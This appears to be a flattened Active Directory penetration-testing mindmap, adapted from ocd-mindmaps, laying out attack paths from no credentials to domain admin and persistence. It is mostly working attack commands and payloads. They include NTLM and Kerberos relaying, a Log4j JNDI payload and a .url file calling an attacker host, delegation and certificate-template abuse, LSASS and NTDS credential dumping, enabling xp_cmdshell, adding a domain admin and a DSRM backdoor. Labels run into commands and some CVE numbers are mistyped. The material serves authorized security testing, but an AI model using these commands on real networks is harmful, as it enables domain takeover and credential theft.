Active Directory Mindmap v2025.03
after ocd-mindmaps · GPL-3.0 · edited here
No Credentials
34 cmds open ↗Username
net rpc group members 'Domain Users' -W '<domain> -l <ip> -U '%'
poisoning SMBpoisoning LDAPpoisoning HTTP
- LLMNR / NBTNS / MDNS
- ⚠️ DHCPv6 (IPv6 prefered to IPv4)
- ⚠️ ARP Poisoning
asreqroast
Coerce SMB
- Unauthenticated PetitPotam (CVE-2022-26925)cve
- no passwordCredentials (NAA account)
- password protectedPXE Hash
Quick Compromise
16 cmds open ↗cveDomain admin
AdminLow access
- ${jndi:ldap://<ip>:<port>/o=reference}
Admin
- Proxyshellcve
User AccountLow accessAdmin
- CVE-2023-27532 (creds - Veeam backup)cve
- CVE-2024-29849 (auth bypass - Veeam Backup Enterprise Manager)cve
- CVE-2024-29855 (auth bypass - Veeam Recovery Orchestrator)cve
- CVE-2024-40711 (unserialize - Veeam backup)cve
AdminLow access
- CVE-2022-35914cve
- /vendor/htmlawed/htmlawed/htmLawedTest.php
- CVE_2023_41320cve
Valid user (no password)
18 cmds open ↗- Get password policy (you need creds,but you should get the policy first to avoid locking accounts)
- default policy
- Fined Policy (Privileged)
- ⚠️ user == passwordClear text Credentials
- ⚠️ usuals passwords (SeasonYear!, Company123, ...)Clear text Credentials
- List ASREPRoastable Users (need creds)
- ASREP roastingHash found ASREP
- Blind KerberoastingHash found TGS
Man In The Middle (Listen and Relay)
12 cmds open ↗- MS08-068 self relaycve
- SMB -> LDAP(S)
- NTLMv1
- remove mic (no CVE needed)see LDAP(S)
- NTLMv2
- HTTP(S) -> LDAP(S)
- Usually from webdav coercesee LDAP(S)
- To LDAP(S)
- Relay to LDAP if LDAP signing and LDAPS channel binding not enforced (default)
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --add-computer <computer_name> <computer_password> --delegate-accessRBCD
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --shadow-credentials --shadow-target '<dc_name$>'Shadow Credentials
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111LDAP SHELL
- To SMB
- Relay to SMB (if SMB is not signed)
- Find SMB not signed targets (default if not a Domain controler)
- To HTTP
- To MsSQL
- SMB -> NETLOGON
- Zero-Logon (safe method) (CVE-202-1472)cve
- Relay one dc to another
- To HTTP
krbrelayx.py -t 'http://<pki>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<target_netbios>$' -ip <attacker_ip>ESC8
- SMB -> SMB
- same as NTLM relay, use krbrelayx.py
- SMB -> LDAP(S)
- same as NTLM relay, use krbrelayx.py
Crack hash
15 cmds open ↗Valid Credentials (cleartext creds, nt hash, kerberos ticket)
40 cmds open ↗- from BH result
Import-Module .\adPEAS.ps1; Invoke-adPEAS -Domain '<domain>' -Server '<dc_fqdn>'
- Drop file
- .lnk
- .scf
- .url
[InternetShortcut]... IconFile=\\<attacker_ip>\%USERNAME%.icon
- Other files
- Webdav
- Enable webclient
- .searchConnector-ms
- add attack computer in dns
- Launch coerce with <attacker_hostname>@80/x as targetHTTP Coerce
- RPC callSMB NTLM Coerce
- Coerce kerberosSMB Kerberos coerce
Low access (Privilege escalation)
15 cmds open ↗Low access (without applocker)
- Get-Applocker infos
- files in writables paths
- C:\Windows\Temp
- C:\Windows\Tasks
Admin
Fodhelper.exe
Admin
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
Admin
- SMBGhost CVE-2020-0796cve
- CVE-2021-36934 (HiveNightmare/SeriousSAM)cve
Admin
- RoguePatatocve
- GodPotatocve
- PrintSpoofercve
- RemotePotato0
Know vulnerabilities authenticated
16 cmds open ↗PTTDCSYNCDomain admin
- Create account
- Request
- Authentication
ACLs/ACEs permissions
22 cmds open ↗Domain AdminLateral moveCrack hash
- Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
PassTheCertificate
- Shadow Credentials
- GenericAll/GenericWrite/Self/Add Extended Rights
- Add member to the group
- Write Owner
- Grant Ownership
- WriteDACL + WriteOwner
- Grant rights
- Give yourself generic all
- GenericAll / GenericWrite
- msDs-AllowedToActOnBehalfRBCD
- add Key Credentialsshadow credentials
- GenericAll / GenericWrite
- Change password
net user <user> <password> /domainUser with clear text pass
- add SPN (target kerberoasting)
- add key credentialsshadow credentials
- login scriptAccess
- ForceChangePassword
net user <user> <password> /domainUser with clear text pass
- Write Dacl
- ACE Inheritance
- Grant rights
- GenericAll / GenericWrite / Manage Group Policy Links
- Who can read LAPS
- Read LAPSAdmin
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
- Who can control GPOs
- SID of principals that can create new GPOs in the domain
- Return the principals that can write to the GP-Link attribute on OUs
- Generic Write on GPO
- Abuse GPOACCESS
Kerberos Delegation
24 cmds open ↗- With BloodHound
- Unconstrained
- Constrained
Kerberos TGTPassTheTicket
- UAC: ADS_UF_TRUSTED_FOR_DELEGATION
- Force connection with coerce
- Get tickets
- With protocol transition (any) UAC: TRUST_TO_AUTH_FOR_DELEGATION
- Get TGT for user
- Request S4u2self
- Request S4u2proxy
Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<admin_user> /msdsspn:<spn_constrained> /altservice:<altservice> /ptt- Altservice HTTP/HOST/CIFS/LDAPKerberos TGS
getST.py -spn '<spn>/<target>' -impersonate Administrator -dc-ip '<dc_ip>' '<domain>/<user>:<password>' -altservice <altservice>- Altservice HTTP/HOST/CIFS/LDAPKerberos TGS
- Without protocol transition (kerberos only) UAC: TRUSTED_FOR_DELEGATION
- Constrain between Y and Z
- Add computer X
- Add RBCD : delegate from X to Y
- s4u2self X (impersonate admin)
- S4u2Proxy X (impersonate admin on spn/Y)
- Forwardable TGS for Y
- S4u2Proxy Y (impersonate admin on spn/Z)
- add computer account
- RBCD With added computer accountKerberos TGS
- Self RBCDcve
- Like RBCD without add computer
- add computer account
- RBCD With added computer account
Rubeus.exe s4u /user:<fake_computer$> /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/<victim.domain.local> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /pttAdmin
rbcd.py -delegate-from '<computer>$' -delegate-to '<target>$' -dc-ip '<dc>' -action 'write' <domain>/<user>:<password>
getST.py -spn host/<dc_fqdn> '<domain>/<computer_account>:<computer_pass>' -impersonate Administrator --dc-ip <dc_ip>Kerberos TGTAdmin
- Get machine account (X)'s TGT
- Get a ST on X as user admin
getST.py -self -impersonate "<admin>" -altservice "cifs/<machine>" -k -no-pass -dc-ip "DomainController" "<domain>"/'<machine>$'Admin
ADCS
43 cmds open ↗Web enrollementVulnerable templateVulnerable CAMisconfigured ACLVulnerable PKI Object AC
- Get PKI objects information
- Display CA information
- ESC2ESC3
- ESC3
- ESC15
certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> -upn <target_user>@<domain> --application-policies 'Client Authentication' #[PR 228]Pass the certificate (only Schannel)
certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> --application-policies 'Certificate Request Agent' # [PR 228]Pass the certificate
- ESC4
- write privilege over a certificate template
- restore template
- ESC7
- Manage CA
certipy ca -ca <ca_name> -add-officer '<user>' -username <user>@<domain> -password <password> -dc-ip <dc_ip> -target-ip <target_ip>ESC7 Manage certificate
- Manage certificate
- Issue request
certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id>Pass the certificate
- ESC5
- Vulnerable acl on PKIACL
- Golden certificate
- Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA you can choose any certificate template that permits client authentication
- ESC9/ESC10 (implicit)
- ESC9/ESC10 (Case 1)
certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administratorreset accountB UPN- ESC9
- ESC10 (case 1)
- ESC10 (Case 2)
certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'ESC10 Case1
- reset accountB UPN
- ESC14 (explicit)
SCCM
40 cmds open ↗NAA credentialsUser + Pass
- Extract from pxe See no credsPXE
Admin on Site system
- coerce sccm site server
Relay ntlm
- Create DNS A record for non existing computer x
dnstool.py -u '<domain>\<user>' -p <pass> -r <newcomputer>.<domain> -a add -t A -d <attacker_ip> <dc_ip>- Enroll new computer x in AD then remove host SPN from the machine account
setspn -D host/<newcomputer> <newcomputer> setspn -D host/<newcomputer>.<domain> <newcomputer>- wait 5m for client push
- cleanup
User + Pass
- SCCM SMB service (445/TCP) on a DP
- SCCM HTTP service (80/TCP or 443/TCP) on a DP
Admin MSSQL
- SCCM MSSQL != SSCM server
- coerce sccm_server
User + Pass
- add computer
- get NetworkAccessUsername and NetworkAccessPassword
- delete device created after sccmadmin
- cleanup
Site DB credentials
use CM_<site_code>;SELECT * FROM SC_UserAccount;sccmdecryptpoc.exe <cyphered_value>
lat
get_device <hostname>interact <device_id>script xploit.ps1
- as sccm admin
Admin access
45 cmds open ↗- LSASS as protected process
- Extract LSASS secretsUser + PassNTLMPassTheHashClear text move
- get masterkey
- Crack users masterkeyDPAPImk
- copy c:\users\<user>\AppData\Roaming\Microsoft\Protect\<SID>
- ImpersonateACLUser + Pass
- Impersonate with adcsNTLMPass The Hash / Ticket / Certificate
- Impersonate RDP SessionRDP
- Find UsersUsername
- Extract KeepassUser + Pass
KeePwn.py plugin add -u '<user>' -p '<password>' -d '<domain>' -t <target> --plugin KeeFarceRebornPlugin.dllKeePwn.py trigger add -u '<user>' -p '<password>' -d '<domain>' -t <target>
- Hybrid (Azure AD-Connect)DCSYNC
- Dump cleartext password of MSOL Account on ADConnect Server
Lateral Move
64 cmds open ↗Admin
- Interactive-shell - psexecAuthority/System
- Pseudo-shell (file write and read)
- WinRMLow accessAdmin
- SMBSearch files
- MSSQLMSSQL
- Pass the Hash
- MSSQL/PseudoShell PsExec/SMB...Admin
- WinRMLow accessAdmin
- Overpass the Hash / Pass the key (PTK)Admin
- Pass the Ticket (ccache / kirbi)
- Convert Format
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccacheAdmin- Modify SPNPassTheTicket
- AeskeyAdmin
- unpac the hash
- Pass the certificate
- pkinit
- schannel
- add_computer
- Set RBCDRBCD
- find mssql access
- Users or Computers with SQL admin
enum_dbenable_xp_cmdshellxp_cmdshell <cmd>Low Access
enum_impersonatexp_dir_tree <ip>COERCE SMBtrustlinksp_linkedservers
Domain admin
8 cmds open ↗Lateral moveCrack hash
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Trusts
26 cmds open ↗([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()- Get Domains SID
- Trust KeyPassTheTicket
- Golden TicketPassTheTicket
- Unconstrained delegation
- coerce parent_dc on child_dc domainunconstrained delegation
- same as Child to parent
- DomainA <--> DomainB trust (B trust A, A trust B)
- from A to B FOREST_TRANSITIVE
- password reuselat move (creds/pth/...)
- Foreign group and usersACL
- Users with foreign Domain Group Membership
- Group with foreign Domain Group Membership
- SID History on BPassTheTicket
- Golden ticket
- Trust ticket
- ADCS abuseADCS
- from A to B is FOREST_TRANSITIVE|TREAT_AS_EXTERNAL
- Unconstrained delegation
- coerce dc_b on dc_aunconstrained delegation
- DomainA <-- DomainB trust (B trust A / A access B)
- Same as double trust, but no unconstrained delegation as B can't connect to A
- DomainA --> DomainB trust (A trust B / B access A)
- password reuselat move (creds/pth/...)
MSSQL
- MSSQL trusted links doesn't care of trust link
- trustlink
- sp_linkedservers
- use_link
Persistence
12 cmds open ↗net group "domain admins" myuser /add /domain
PowerShell New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD